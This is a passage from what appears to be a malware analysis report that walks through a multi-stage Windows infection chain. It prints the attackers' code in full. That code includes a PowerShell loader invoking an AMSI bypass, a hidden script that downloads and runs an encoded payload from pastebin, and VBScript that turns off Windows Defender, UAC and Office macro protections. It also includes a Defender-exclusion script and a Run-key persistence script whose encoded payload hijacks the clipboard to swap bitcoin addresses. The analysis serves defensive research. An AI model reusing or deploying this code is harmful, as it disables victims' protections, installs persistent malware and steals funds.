    $puffpass = New-Object byte[](1024)    while($true){        $read = $01774000.Read($puffpass, 0, 1024)        if ($read -le 0){break}        $output.Write($puffpass, 0, $read)        }        [byte[]] $bout333 = $output.ToArray()        Write-Output $bout333    }}
$t0=’DEX’.replace(‘D’,’I’);sal g $t0;[Byte[]]$MNB=(‘OBFUSCATED PAYLOAD ONE‘.replace(‘@!’,’0x’))| g;
[Byte[]]$blindB=(‘OBFUSCATED PAYLOAD TWO‘.replace(‘@!’,’0x’))| g
[byte[]]$deblindB = UNpaC0k3333300001147555 $blindB
$blind=[System.Reflection.Assembly]::Load($deblindB)[Amsi]::Bypass()
[byte[]]$decompressedByteArray = UNpaC0k3333300001147555  $MNB

Code Snippet 3 

The Powershell Loader

The Code Snippet 3 is a Powershell script in which the function “UNpaC0k3333300001147555” is declared, having the purpose to manipulate the two payloads in the right way. Both of them are .NET binaries. The de-obfuscated code is stored in the deblindB variable and then executed.

As suggested by the name deblindB, invoke the execution of the static method “Bypass” of the “Amsi” class.

Figure 10: Amsi Bypass exploit evidence

Instead, the payload embedded inside the variable $MNB is another type of injection tool, but this one is not executed by the script, probably because both the binaries perform the same action and only one is sufficient.

At this point, we deepen the “sJEBiiMw” component obtaining:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe -nologo -WindowStyle Hidden $_Xpin = ((New-Object Net.WebClient).DowNloAdSTRiNg(‘h’+’t’+’t’+’p’+’s’+’:’+’/’+’/’+’p’+’a’+’s’+’t’+’e’+’b’+’i’+’n’+’.’+’c’+’o’+’m’+’/’+’r’+’a’+’w’+’/ygwLUS9C’));$_Xpin=$_Xpin.replace(‘.’,’*!(@*#(!@#*’).replace(‘*!(@*#(!@#*’,’0′);$_Xpin = $_Xpin.ToCharArray();[Array]::Reverse($_Xpin);[byte[]]$_PMP = [System.Convert]::FromBase64String($_Xpin);$_1 = [System.Threading.Thread]::GetDomain().Load($_PMP);$_1.EntryPoint.invoke($S,$X)”, null, objConfig, intProcessID)
self.close
</script>

Code Snippet 4

This script downloads and executes another script from pastebin: ygwLUS9C. It is a base64 encoded script with some basic string replacing. We also noticed this executable uses the CMSTP bypass technique (T1191), already seen in our previous report.

Figure 11: CMSTP Bypass evidence

However, in this case, there is a new element differently the previous version: through the CMSTP bypass, a VBS script is written in the “\%TEMP%\” folder, which executes many disruptive commands:

Figure 12: Evidence of the VBS script loaded and executed

The VBS script, as also mentioned inside the first row as comment, has the objective to set to zero the level of security of the infected machine. The script is the following:

‘this script will put system on 0 securityIf Not WScript.Arguments.Named.Exists(“elevate”) Then  CreateObject(“Shell.Application”).ShellExecute WScript.FullName _    , “””” & WScript.ScriptFullName & “”” /elevate”, “”, “runas”, 1  WScript.QuitEnd If
On Error Resume NextSet WshShell = CreateObject(“WScript.Shell”)WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection”,”0″,”REG_DWORD”WshShell.RegWrite “HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable”,”0″,”REG_DWORD”
WScript.Sleep 100
outputMessage(“Set-MpPreference -DisableRealtimeMonitoring $true”)outputMessage(“Set-MpPreference -DisableBehaviorMonitoring $true”)outputMessage(“Set-MpPreference -DisableBlockAtFirstSeen $true”)outputMessage(“Set-MpPreference -DisableIOAVProtection $true”)outputMessage(“Set-MpPreference -DisableScriptScanning $true”)outputMessage(“Set-MpPreference -SubmitSamplesConsent 2”)outputMessage(“Set-MpPreference -MAPSReporting 0”)outputMessage(“Set-MpPreference -HighThreatDefaultAction 6 -Force”)outputMessage(“Set-MpPreference -ModerateThreatDefaultAction 6”)outputMessage(“Set-MpPreference -LowThreatDefaultAction 6”)outputMessage(“Set-MpPreference -SevereThreatDefaultAction 6”)

Sub outputMessage(byval args)On Error Resume NextConst HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell ” + args, null, objConfig, intProcessID)

End SubOn Error Resume NextConst HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell $cici=@(36,117,115,101,114,80,97,116,104,32,61,32,36,101,110,118,58,85,83,69,82,80,82,79,70,73,76,69,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,32,61,32,78,101,119,45,79,98,106,101,99,116,32,83,121,115,116,101,109,46,67,111,108,108,101,99,116,105,111,110,115,46,65,114,114,97,121,76,105,115,116,10,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,58,92,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,77,115,98,117,105,108,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,67,97,108,99,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,112,111,119,101,114,115,104,101,108,108,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,119,115,99,114,105,112,116,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,109,115,104,116,97,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,46,65,100,100,40,39,99,109,100,46,101,120,101,39,41,32,62,32,36,110,117,108,108,10,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,32,61,32,39,100,58,92,39,10,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,112,114,111,106,101,99,116,115,70,111,108,100,101,114,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,97,116,104,69,120,99,108,117,115,105,111,110,115,41,32,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,97,116,104,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,97,116,104,32,36,101,120,99,108,117,115,105,111,110,10,125,10,102,111,114,101,97,99,104,32,40,36,101,120,99,108,117,115,105,111,110,32,105,110,32,36,112,114,111,99,101,115,115,69,120,99,108,117,115,105,111,110,115,41,10,123,10,32,32,32,32,87,114,105,116,101,45,72,111,115,116,32,34,65,100,100,105,110,103,32,80,114,111,99,101,115,115,32,69,120,99,108,117,115,105,111,110,58,32,34,32,36,101,120,99,108,117,115,105,111,110,10,32,32,32,32,65,100,100,45,77,112,80,114,101,102,101,114,101,110,99,101,32,45,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115,32,36,101,120,99,108,117,115,105,111,110,10,125,10,87,114,105,116,101,45,72,111,115,116,32,34,34,10,87,114,105,116,101,45,72,111,115,116,32,34,89,111,117,114,32,69,120,99,108,117,115,105,111,110,115,58,34,10,36,112,114,101,102,115,32,61,32,71,101,116,45,77,112,80,114,101,102,101,114,101,110,99,101,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,97,116,104,10,36,112,114,101,102,115,46,69,120,99,108,117,115,105,111,110,80,114,111,99,101,115,115);[System.Text.Encoding]::ASCII.GetString($cici)|IEX”, null, objConfig, intProcessID)
CreateObject(“WScript.Shell”).RegWrite “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA”,”0″, “REG_DWORD”

Set wso = CreateObject(“WScript.Shell”)wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\VBAWarnings”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableInternetFilesInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableAttachementsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Publisher\Security\ProtectedView\DisableUnsafeLocationsInPV”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Options\DontUpdateLinks”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Word\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\PowerPoint\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\11.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\12.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\14.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\15.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”wso.RegWrite “HKCU\Software\Microsoft\Office\16.0\Excel\Security\AllowDDE”, 1, “REG_DWORD”

Code Snippet 5

As seen in the code a powershell command is hidden inside the variable named $cici, which is immediately converted from the decimal to the relative ascii value. 

$userPath = $env:USERPROFILE$pathExclusions = New-Object System.Collections.ArrayList$processExclusions = New-Object System.Collections.ArrayList$pathExclusions.Add(‘C:\’) > $null$processExclusions.Add(‘Msbuild.exe’) > $null$processExclusions.Add(‘Calc.exe’) > $null$processExclusions.Add(‘powershell.exe’) > $null$processExclusions.Add(‘wscript.exe’) > $null$processExclusions.Add(‘mshta.exe’) > $null$processExclusions.Add(‘cmd.exe’) > $null$projectsFolder = ‘d:\’Add-MpPreference -ExclusionPath $projectsFolderforeach ($exclusion in $pathExclusions){    Write-Host “Adding Path Exclusion: ” $exclusion    Add-MpPreference -ExclusionPath $exclusion}foreach ($exclusion in $processExclusions){    Write-Host “Adding Process Exclusion: ” $exclusion    Add-MpPreference -ExclusionProcess $exclusion}Write-Host “”Write-Host “Your Exclusions:”$prefs = Get-MpPreference$prefs.ExclusionPath$prefs.ExclusionProcess

Code snippet 6

In Code Snippet 6 we found a powershell code instructed to insert in the Microsoft Windows Anti-Malware exclusions the following processes: msbuild, calc, powershell, wscript, mshta and cmd.

Another script in this intricated chain is YL0je2fU:

<script language=”&#86;&#66;&#83;&#99;&#114;&#105;&#112;&#116;”>
CreateObject(“WScript.Shell”).RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\replcia”, “mshta vbscript:Execute(“”CreateObject(“”””Wscript.Shell””””).Run “”””powershell ((gp HKCU:\Software).mogale)|IEX””””, 0 : window.close””)”, “REG_SZ”

CreateObject(“Wscript.Shell”).regwrite “HKCU\Software\mogale”, “$cici=@(102,117,110,99,116,105,111,110,32,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,91,115,116,114,105,110,103,93,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,10,123,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,91,48,93,32,45,110,101,32,39,49,39,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,115,116,114,76,101,110,103,116,104,32,61,32,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,46,108,101,110,103,116,104,10,9,105,102,40,36,115,116,114,76,101,110,103,116,104,32,45,108,116,32,50,54,32,45,111,114,32,36,115,116,114,76,101,110,103,116,104,32,45,103,116,32,51,53,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,36,118,97,108,105,100,82,101,103,101,120,32,61,32,39,94,91,97,45,122,65,45,90,48,45,57,92,115,93,43,36,39,10,9,105,102,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,111,116,109,97,116,99,104,32,36,118,97,108,105,100,82,101,103,101,120,41,10,9,123,10,9,9,114,101,116,117,114,110,32,36,102,97,108,115,101,10,9,125,10,10,9,114,101,116,117,114,110,32,36,116,114,117,101,10,125,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,32,61,32,40,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,44,32,34,49,57,107,67,99,100,98,116,116,84,65,88,49,109,76,85,51,72,107,57,83,50,66,87,53,99,75,76,70,68,49,122,49,87,34,41,10,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,46,108,101,110,103,116,104,10,36,105,32,61,32,48,10,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,34,34,10,119,104,105,108,101,40,49,41,10,123,10,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,61,32,71,101,116,45,67,108,105,112,98,111,97,114,100,10,9,105,102,40,40,105,115,66,105,116,99,111,105,110,65,100,100,114,101,115,115,40,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,41,41,32,45,99,101,113,32,36,116,114,117,101,32,45,97,110,100,10,9,9,36,99,108,105,112,98,111,97,114,100,67,111,110,116,101,110,116,32,45,99,110,101,32,36,111,108,100,65,100,100,114,101,115,115,83,101,116,41,10,9,123,10,9,9,83,101,116,45,67,108,105,112,98,111,97,114,100,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,111,108,100,65,100,100,114,101,115,115,83,101,116,32,61,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,91,36,105,93,10,9,9,36,105,32,61,32,40,36,105,32,43,32,49,41,32,37,32,36,98,105,116,99,111,105,110,65,100,100,114,101,115,115,101,115,83,105,122,101,10,9,125,10,125);[System.Text.Encoding]::ASCII.GetString($cici)|IEX” , “REG_SZ”
Const HIDDEN_WINDOW = 0strComputer = “.”Set objWMIService = GetObject(“winmgmts:” & “{impersonationLevel=impersonate}!\\” & strComputer & “\root\cimv2”)Set objStartup = objWMIService.Get(“Win32_ProcessStartup”)Set objConfig = objStartup.SpawnInstance_objConfig.ShowWindow = HIDDEN_WINDOWSet objProcess = GetObject(“winmgmts:root\cimv2:Win32_Process”)errReturn = objProcess.Create( “powershell.exe ((gp HKCU:\Software).mogale)|IEX”, null, objConfig, intProcessID)
self.close
</script>

Code Snippet 7

Even in this case there is a powershell script embedded in it using the same variable name “$cici”, but with the following body:

